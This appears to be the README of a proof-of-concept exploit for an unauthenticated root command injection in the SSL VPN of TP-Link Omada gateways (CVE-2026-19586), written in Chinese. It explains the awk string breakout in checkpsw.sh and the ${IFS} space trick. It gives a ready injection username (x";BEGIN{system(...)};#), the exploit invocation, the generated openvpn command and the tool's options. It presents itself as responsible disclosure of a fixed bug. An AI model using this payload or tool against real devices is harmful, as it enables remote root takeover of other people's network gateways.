TP-Link Omada SSL VPN 未认证 RCE (CVE-2026-19586)
TP-Link Omada 网关固件 SSL VPN 认证路径中存在命令注入漏洞 (CWE-78),允许未认证攻击者以 root 身份执行任意命令。当基于 OpenVPN 的 SSL VPN 服务器启用时,OpenVPN 会将连接客户端提交的用户名传递给 /usr/sbin/checkpsw.sh,该脚本绑定到 auth-user-pass-verify 指令。该脚本将用户名未加引号地拼接到 awk 程序中,因此包含双引号的用户名会闭合其被粘贴进的 awk 字符串字面量,剩余部分则被解析为 awk 源代码。
awk 的 BEGIN 块在读取输入的第一行之前运行一次,因此注入的 system() 调用会在提交的密码与任何内容比较之前以 root 身份执行。
该服务器不需要客户端证书,也不携带 tls-auth 或 tls-crypt 密钥,其 CA 证书硬编码在固件镜像中。本仓库中的 ca.crt 就是该证书,并且在所有运行受影响固件的设备上完全相同,因此任何能够访问 VPN 端口的攻击者都可以完成 TLS 握手并在没有凭据、没有对设备先前访问权限的情况下触发注入。
用户名不能包含字面空格,因为 shell 会在 awk 看到之前将未加引号的展开拆分为单独的参数。请使用 ${IFS} 代替空格,由 system() 调用的 shell 会将其展开回空格。OpenVPN 将用户名限制为 128 字节;payload 脚手架占用其中 22 字节,剩余 106 字节用于命令。
本概念验证 (PoC) 已针对 TP-Link Omada ER7212PC v2(固件 6.1.0.19)进行测试。该易受攻击的脚本在 Omada 网关产品线中共享;其他型号或固件版本上的路径、行号和行为可能有所不同。
本 PoC 会投递一个在目标设备上以 root 身份执行的用户名 payload。此问题已报告给 TP-Link,并已在公告中列出的固件版本中修复;请仅在您拥有或明确授权测试的硬件上运行此程序。
$ sudo python3 cve-2026-19586.py <target> -c '<command>'
需要 openvpn 客户端,并且必须以 root 身份运行,因为它需要 CAP_NET_ADMIN 来创建 tun 设备。这是本地 OpenVPN 客户端的要求,而非目标设备的要求。
示例运行:
$ sudo python3 cve-2026-19586.py 10.0.0.100 -c 'id>/tmp/proof'
TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586) - OpenVPN Username Injection
Target : 10.0.0.100:1194/udp
CA cert : ca.crt
Command : id>/tmp/proof
Username : x";BEGIN{system("id>/tmp/proof")};#
[*] Running: openvpn --client --dev tun --proto udp --remote 10.0.0.100 1194 --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass /tmp/ovpn_creds_m0ycjowy.txt --auth-nocache --verb 3
[openvpn client output]
该命令在认证完成之前就在设备上运行,因此 OpenVPN 客户端本身不会连接。认证尝试失败并且客户端退出,这是预期行为。
| 参数 | 描述 |
|---|
target | 目标设备 IP 或主机名 |
-c, --command | 在目标上以 root 身份运行的命令。使用 ${IFS} 代替空格 |
-p, --port | SSL VPN UDP 端口(默认:1194) |
--ca | 从固件中提取的 CA 证书(默认:ca.crt) |